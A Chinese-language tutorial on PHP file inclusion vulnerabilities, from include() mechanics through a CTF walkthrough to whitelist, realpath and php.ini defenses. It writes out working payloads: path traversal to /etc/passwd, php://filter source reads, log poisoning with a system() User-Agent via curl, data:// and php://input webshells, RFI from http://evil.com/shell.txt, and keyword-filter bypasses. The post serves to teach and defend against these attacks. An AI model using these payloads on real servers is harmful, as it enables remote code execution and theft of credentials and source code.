
文件包含漏洞File Inclusion Vulnerability是Web安全领域非常经典的一类漏洞尤其在PHP环境中出镜率极高。CTF里经常考真实业务里也翻过车。简单来说就是开发者用include/require这类函数去动态引入文件时用户能够控制被引入的文件名于是攻击者可以通过路径穿越、伪协议、日志投毒等方式读取敏感文件或者直接执行任意代码。这篇文章打算从原理、利用、实战、防御四个维度把这个漏洞拆开揉碎把我实际操作过程中踩过的坑和总结的经验一并写出来希望对做安全的、搞开发的、以及刚入门Web安全的朋友都有帮助。1. 文件包含漏洞的根源include机制与可控参数1.1 一个最简单的漏洞模型几乎所有文件包含漏洞都长成一个样子某个参数直接拼进了文件包含函数用户传什么服务器就include什么。先看一段典型的脆弱代码?php $page $_GET[page]; include($page . .php); ?这看起来没什么问题开发者想做一个简单的页面切换访问index.php?pageabout就加载about.php访问?pagecontact就加载contact.php。问题在于$page完全没有被过滤攻击者可以直接传index.php?page../../../../etc/passwd由于PHP的include会按照相对路径去查找文件../../../../etc/passwd经过目录穿越后直接指向系统密码文件include语句就变成了include(../../../../etc/passwd.php)。等等这里还有个.php后缀拼接的问题所以很多实战场景会配合%00截断PHP 5.3.4以下版本或者问号截断路径中加?让后面内容被解析为查询参数来绕过。但这个先按下不表后面细说。这个模型里有两个关键点第一include函数本身具备读取和执行文件的能力第二攻击者能控制传给include的路径。两个条件凑齐漏洞就诞生了。1.2 为什么PHP是重灾区其他语言也有代码包含机制但PHP的文件包含漏洞数量远超同行主要原因有三个。第一个原因是PHP的include家族函数太“宽容”。include、include_once、require、require_once这四位只要给一个路径就能把文件内容当成PHP代码解析。如果包含的是一个普通文本文件里面只要有?php ... ?同样会执行。这种“顺带执行”的特性是漏洞利用的核心。第二个原因是PHP支持多种流包装器stream wrapper。除了本地文件路径还可以用php://filter读取源码用php://input读取POST请求体用data://写入代码用phar://触发反序列化。这意味着攻击面从“读取文件”直接扩张到“执行任意代码”危害等级完全不同。第三个原因是历史配置问题。allow_url_include在PHP 5.2之前的默认值是开启的很多老系统升级之后也没改配置导致远程文件包含RFI至今仍有存活。即便在较新的PHP版本中allow_url_fopen默认开启php://这类伪协议仍然不受影响所以本地包含配合伪协议的利用方式几乎适用于所有版本。下面这个表格列出include相关函数和关键配置的差异方便对照配置项/函数作用默认状态安全影响include / include_once包含文件失败只发警告始终可用用户可控时产生LFI/RFIrequire / require_once包含文件失败导致致命错误始终可用同上allow_url_fopen是否允许打开远程文件On决定能否远程包含allow_url_include是否允许include远程文件OffPHP5.2RFI利用直接依赖它php://filter读取文件内容并做过滤无需额外开启读取任意文件源码php://input读取原始POST请求体无需额外开启可以写入PHP代码data://数据流包装器allow_url_include需开启直接写入PHP代码phar://解析PHAR文件通常可用可触发反序列化2. 利用面拆解LFI与RFI的经典打法2.1 本地文件包含LFI的读文件与GetShellLFI最基础的用途是读任意文件。当目标系统存在LFI时我们可以用php://filter把目标文件内容用base64输出从而拿到源码。比如index.php?pagephp://filter/readconvert.base64-encode/resourceconfig.php为什么这里要用base64编码因为如果直接包含一个PHP文件PHP会把它解析执行页面上不会展示原始代码。而经过base64过滤后文件内容作为纯文本输出到前端我们拿到一串base64字符串再解码源码就到手了。这在审计阶段特别好使能直接找出数据库密码、API密钥等敏感信息。除了解源码LFI还经常配合信息泄露文件读系统数据index.php?page../../../../etc/passwd index.php?page../../../../proc/self/environ index.php?page../../../../proc/self/cmdline/proc/self/environ在某些环境里会把环境变量直接打出来如果Web服务以root运行虽然不建议甚至能从环境变量或进程信息里摸到部署密钥。需要提醒的是很多现代系统里/proc/self/environ由于权限限制已经读不到了不要死磕。那么LFI能不能直接GetShell有两条经典路一条是「日志投毒」。Apache的访问日志会记录User-Agent如果我们用Burp把请求头里的User-Agent改成?php system($_GET[cmd]); ?然后访问一个不存在的路径让它记录到access.log最后通过LFI包含这个日志文件日志内容里的PHP代码就会被当成代码执行。命令类似curl -A ?php system(whoami); ? http://target/index.php?pagewhatever curl http://target/index.php?page../../../../var/log/apache2/access.logcmdid要注意的是日志文件路径在不同系统里有差异常见的有/var/log/apache2/access.log、/var/log/nginx/access.log而且每天可能轮转。包含之前最好先确认路径存在。另外日志里除了User-Agent路径参数里也会写入PHP代码如果对方的WAF只监控请求参数那放在User-Agent里常常能绕过。另一条路是「临时文件包含」。PHP上传文件时会把文件保存在临时目录文件名形如php??????生命周期极短。如果配合条件竞争在文件被删除之前用LFI包含它也能执行代码。这个方法对PHP版本兼容性比较强但成功率取决于手速和并发量代码审计时看到LFI通常会想到它实战中确实很看运气。2.2 远程文件包含RFI与伪协议利用思路远程文件包含要求allow_url_includeOn一旦存在直接传一个恶意站点的地址就能让目标服务器把恶意文件拉下来执行index.php?pagehttp://evil.com/shell.txtshell.txt内容写?php phpinfo(); ?就能立即验证。很多加固方案会把allow_url_include关闭所以纯RFI没那么常见了。但伪协议这条路没有完全堵死php://input在POST body里写?php system(id); ?请求?pagephp://inputPHP会把body里的内容当作文件内容读取并执行。这个利用完全不依赖远程URL只要求php://input可用且LFI存在。data://URL编码传入data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8其中base64内容解码后是?php system(id); ?。在PHP 5.2以后data://是否可用也受allow_url_include影响实测时如果data://失效优先换php://input。phar://在多上传点场景中先传一个图片马文件头伪装成图片内部包含PHAR序列化数据然后通过?pagephar://uploads/xxx.jpg触发反序列化利用链。这条链路不只是文件包含还牵扯到反序列化漏洞实际攻击时往往需要几个漏洞串联。RFI和伪协议的本质区别在于RFI是从外部取代码执行伪协议是把当前请求自身的数据变成“代码源”。前者依赖出网后者依赖PHP流机制所以后者在当前环境存活率更高。3. 实战演练从零开始解一道文件包含题目3.1 环境搭建与初步探测为了讲清楚完整过程这里我用一个典型的CTF题环境来演示代码大致如下?php highlight_file(__FILE__); $file $_GET[file]; if(isset($file)) { include($file); } ?没有后缀拼接没有过滤直接可控属于最容易理解的入门题。题目源码已经高亮显示我们直接开始探测。第一步访问/?fileindex.php页面没有变化因为包含后PHP代码被解析了但高亮当前文件本身就暴露了内容。再访问/?file/etc/passwd如果页面回显用户列表说明LFI成立。第二步确认过滤规则。尝试/?filephp://filter/convert.base64-encode/resourceindex.php如果页面出现一长串base64字符说明php伪协议可用同时没有过滤冒号和斜杠。第三步确认能否执行代码。尝试/?filedata://text/plain,?php phpinfo(); ?如果phpinfo被输出说明allow_url_include为On可以直接执行命令。如果失败改用php://input。3.2 三种解法实操记录下面按难易程度给出三个实际的Payload和解算过程。解法一php://filter读源码请求/?filephp://filter/readconvert.base64-encode/resourceflag.php返回的一串base64截取PD9waHAgJGZsYWcgPSAnRkxBR3s1ZjJhMWIxM2VjZDBjZGU2ZmM1...用任意工具解码得到?php $flag FLAG{5f2a1b13ecd0cde6fc5...}; ?这就是读源码的价值虽然不能直接执行并输出flag但通过读取文件内容拿到了秘密数据。实际业务审计中我们会读配置文件、数据库连接文件、备份文件作用完全一样。解法二data://协议执行命令请求/?filedata://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOz8这里PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOz8解码后为?php system($_GET[cmd]); ?然后在请求中附上cmdls //?filedata://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOz8cmdls /页面就会输出根目录列表。如果目标环境禁用了system还可以换passthru、shell_exec、exec、popen等函数最好写一个轮询函数挨个试。这道题的比赛环境允许出网所以直接反弹Shell也能拿下但这里不展开反弹Shell的细节。解法三php://input携带代码用Burp或curl发送POST请求POST /?filephp://input HTTP/1.1 Host: target ?php system(cat flag.php); ?注意POST body里的原始内容会被php://input读取include之后直接作为PHP代码执行。这个方法不依赖base64不受URL编码干扰实战里成功率反而最高。前提是别被Content-Type或WAF拦掉如果设置了Content-Type: text/plain多数环境也能读取。3.3 利用过程中的几个关键判断实际打题或者真实渗透时不要只盯着Payload背要会判断环境。第一个判断是“这个files参数最终被拼成了什么”。像题目演示的这种最简单直接是include($file)。但很多真实代码是include($file . .php)这种你需要判断要不要用截断或%00截断。?截断的原理是URL中的?会被PHP解析为查询字符串起始位置include在拼接后的路径config.php?.php系统会尝试打开config.php而不是config.php?.php因为?后面的内容被视为额外参数。这个技巧在PHP 5.3.4以上依然有效但前提是allow_url_fopen为On且走的是URL方式。%00截断只对PHP 5.3.4以下版本有效因为C层字符串处理遇到\0会停止但高版本PHP已经修复了。所以遇到后缀拼接优先试?再试多次目录穿越让路径长度溢出报错最后再考虑%00。第二个判断是“文件包含后是执行还是读取”。如果目标是读取任意文件用filter如果目标是拿到shell优先php://input和data://如果这两个失效就要考虑日志投毒、会话文件包含等方法。会话文件路径通常是/tmp/sess_session_id需要先拿到一个合法的session_id然后在session里注入PHP代码再用LFI包含它。这个思路和日志投毒一模一样都属于“先写入后包含”。第三个判断是“目录穿越需要几层”。很多题目里当前目录在www/html/下读/etc/passwd需要五层甚至六层../。不要凭感觉可以直接用一个简单的探测技巧先传?file../../../../etc/passwd看回显如果没反应就加一层直到出现内容。如果出现的是PHP警告那说明路径其实拼对了只是目标文件不存在或权限不足。4. 常见问题与排查技巧实录4.1 为什么Payload没生效配置、路径、编码三座大山我在带新人时发现文件包含漏洞的Payload失败百分之八十不是漏洞被修复而是踩了下面几个坑。第一个坑是allow_url_include关闭导致data://、http://类Payload失效。判断方法很简单先用php://filter测试如果filter能用说明LFI存在但data://不能用大概率就是配置问题。这时应该改用php://input并注意确认POST请求的Content-Type不干扰body读取。第二个坑是相对路径与绝对路径混淆。很多新手直接传?file/etc/passwd这个在所有系统里都是绝对路径并没有问题。但如果用相对路径去穿越一定要先从报错信息里搞清楚执行目录在哪里。有时候页面会显示include(../config.php.php) failed这类警告里面的路径就告诉了我们拼接结果。第三个坑是编码问题。使用base64 payload时如果忘记URL编码特殊字符、/、会被服务器解析导致数据错乱。严谨的做法是先把整个payload做一次URL编码或者在Burp的Repeater里直接粘贴原始字符串让Burp自动编码。另外本地测试时如果页面乱码先检查响应头的字符集多半是filter输出的原始二进制没被正确识别不要误判为漏洞失效。4.2 过滤了关键字怎么绕一套可复用的组合拳真实环境不会像CTF入门题那么白给代码里常常写了黑名单过滤php、filter、data、http等关键字。这里的绕过思路我整理成一个清单过滤内容常见绕过姿势适用条件过滤php://用PHP://大小写变体或php:/*/filter花式拼接过滤器不区分大小写PHP在5.2以上支持嵌套路径时可用过滤filter尝试convert.base64-encode/resource里的关键字调整如convert.iconv.utf-8.utf-16等服务器支持iconv流过滤器过滤data://改用php://input或日志投毒依赖LFI和写文件能力过滤目录穿越的../用....//绕过...经过一次替换变回../、URL编码二次编码服务端只做一次替换时有效过滤特殊函数用assert、preg_replace的/e修饰符、array_map等替换system目标环境可用对应函数过滤扩展名利用?截断或phar://的压缩包特性截断受PHP版本限制phar不受日志投毒本身就是一个绕过方案因为它不要求目标代码里允许URL流只要目标能把日志文件当作PHP包含进来。我在一次测试中遇到过代码把../全替换为空但替换只做一次我传....//就被还原成../成功穿越。这种替换逻辑不严谨的过滤非常常见值得多试几轮。4.3 经典踩坑实录我把以往测试中遇到的几个典型问题列出来供大家参考。问题一页面回显了flag.php文件内容但没有执行PHP标签。这种情况通常是伪协议读源码时数据被浏览器当作HTML渲染。解决方法是右键查看源代码或者把返回包复制出来用curl看原始响应。有时候源码里有?短标签而服务器短标签解析是关闭的也会导致代码不执行。问题二目录穿越读不到Windows系统文件。Windows下可以尝试读C:\Windows\win.ini、C:\boot.ini等。注意需要把反斜杠写成URL编码%5c或者直接用正斜杠。很多在Linux下跑通的Payload换到Windows就没反应关键是路径分隔符和盘符。问题三包含后出现大量警告但没有内容。警告信息往往直接暴露真实路径这对后续构造Payload非常有用。如果被include的文件本身不存在但PHP只发警告最终页面仍然会有输出这时可以顺手把警告信息作为信息泄露的一部分利用起来。4.4 如何判断一台服务器是否能远程包含这个判断有个很实用的三步法。第一步看phpinfo()输出如果目标允许我们加载直接搜索allow_url_include和allow_url_fopen。第二部在没有phpinfo的情况下用data://发一个轻量探测比如让页面输出PK能输出说明支持。第三步如果data无法用可以尝试包含一个外网URL的静态资源比如传?filehttp://example.com/robots.txt如果页面返回robots内容说明远程包含链路是通的。但这里要强调实际攻击时这个外网地址必须是我们自己的可控地址否则请求会泄露给第三方不道德也不严谨。5. 防御方案与代码审计思路5.1 代码层最有效的几种姿势第一招白名单映射。不要直接让用户输入文件名而是用一个固定数组做键值映射?php $allowedPages [ home home.php, about about.php, contact contact.php, ]; $page $_GET[page]; if (isset($allowedPages[$page])) { include($allowedPages[$page]); } else { include(error.php); } ?这种写法能从根上杜绝路径控制是最推荐的方案。哪怕是白名单判断里用了in_array也要注意严格比较防止0 home这类弱类型绕过。第二招路径规范化校验。如果你实在要动态拼接路径也应该用realpath把路径转换成绝对路径再确认它是否在以业务代码根目录为起点的白名单范围内。示例?php $baseDir /var/www/html/; $file realpath($baseDir . $_GET[page]); if ($file strpos($file, $baseDir) 0) { include($file); } else { die(Invalid file); } ?这里有个细节realpath要求目标文件必须存在所以配合文件存在性检测时要留意。另外strpos判断必须用全等否则$file起始位置是0时会被误判。第三招关闭危险功能。PHP代码里过滤伪协议并不容易因为filter和各种参数变体太多。但可以在配置层面禁止危险流包装器或者部署时使用disable_functions临时限制system、exec等命令执行函数。文件包含漏洞一旦被利用后面的命令执行函数如果也被限制攻击者就没那么舒服了。5.2 配置层加固清单在php.ini里至少要把这几项设置确认到位allow_url_fopen Off allow_url_include Off display_errors Off log_errors Onallow_url_fopen关闭会影响很多正常业务比如远程读头像、定时拉取数据等所以不少团队不敢直接关。那么退而求其次至少保证allow_url_include是关闭的同时把display_errors关掉避免给攻击者提供路径线索。如果是nginx/apache部署别忘了日志文件权限Web进程用户尽量使用低权限账号不要用root。即使日志被包含低权限情况下攻击者的操作空间会大幅缩窄。5.3 代码审计时如何快速定位高危点做代码审计时我一般先全局搜索包含函数grep -rn include\|include_once\|require\|require_once /var/www/html --include*.php然后逐个看函数的第一个参数是否可能被用户输入控制。重点关注变量名里带page、file、path、template、language、lang的。常见的高危写法有include(templates/ . $_GET[page]); require_once $_REQUEST[module] . .php;看到这类代码再看看入口处有没有过滤然后对比程序里是否已经引入了安全函数。如果没有基本就可以确定存在文件包含漏洞。另外代码审计时还要注意二次封装函数比如function loadTemplate($tpl) { include($tpl); } $param $_GET[tpl]; loadTemplate($param);这种间接调用的隐患容易被忽略。最稳妥的做法是给所有进入include的变量统一打标记凡是用户可控且最终流向了文件包含函数都要重点排查。5.4 从漏洞到修复的完整复盘我这里分享一个实战修复案例。早期一个项目里有个下载预览功能直接读文件名参数去include模板导致LFI。攻击者通过php://filter读到了数据库配置还尝试日志投毒。修复时我们做了三层第一层在入口处对参数做白名单校验只允许预置的模板名列表第二层把php.ini里的allow_url_include强制设为Off并删除了phpinfo输出页面第三层增加WAF规则对php://、file://、data://等协议关键字进行拦截。修复之后又做了一次复测用之前的Payload全部失效达到了预期效果。这次事件给我的最大感受是单点修复不如纵深防御。白名单解决了漏洞本身配置加固减少漏洞被利用后的影响WAF是最后一道兜底。这三层都有可能在某一层被绕过但全部绕过的难度已经大幅上升。6. 从入门到进阶的一点个人体会文件包含漏洞之所以经典是因为它横跨了代码审计、系统知识、PHP底层机制、安全配置等多个领域。搞懂它不光是会打几个Payload更重要的是理解了一个核心逻辑数据与代码的边界如果被打破服务器就会把攻击者输入当成程序本身来执行。我建议新手不要只看Payload速查表最好自己搭一个测试环境从最简单的?page...开始逐个尝试php://filter、php://input、data://、日志投毒、phar反序列化观察每次请求背后的差异。只有亲手踩了“data协议没反应是因为allow_url_include关闭”“日志投毒失败是因为日志轮转路径变了”这种坑才算真正掌握。最后分享一个我自己常用的快速判断技巧看到一个文件包含点先别急着打大Payload第一步永远是用filter读当前文件的源码确认过滤规则和代码逻辑。因为源码会告诉你后面有什么魔鬼也可能让你发现一个比预期更严重的漏洞。磨刀不误砍柴工这个习惯帮我解决了很多看似无解的目标。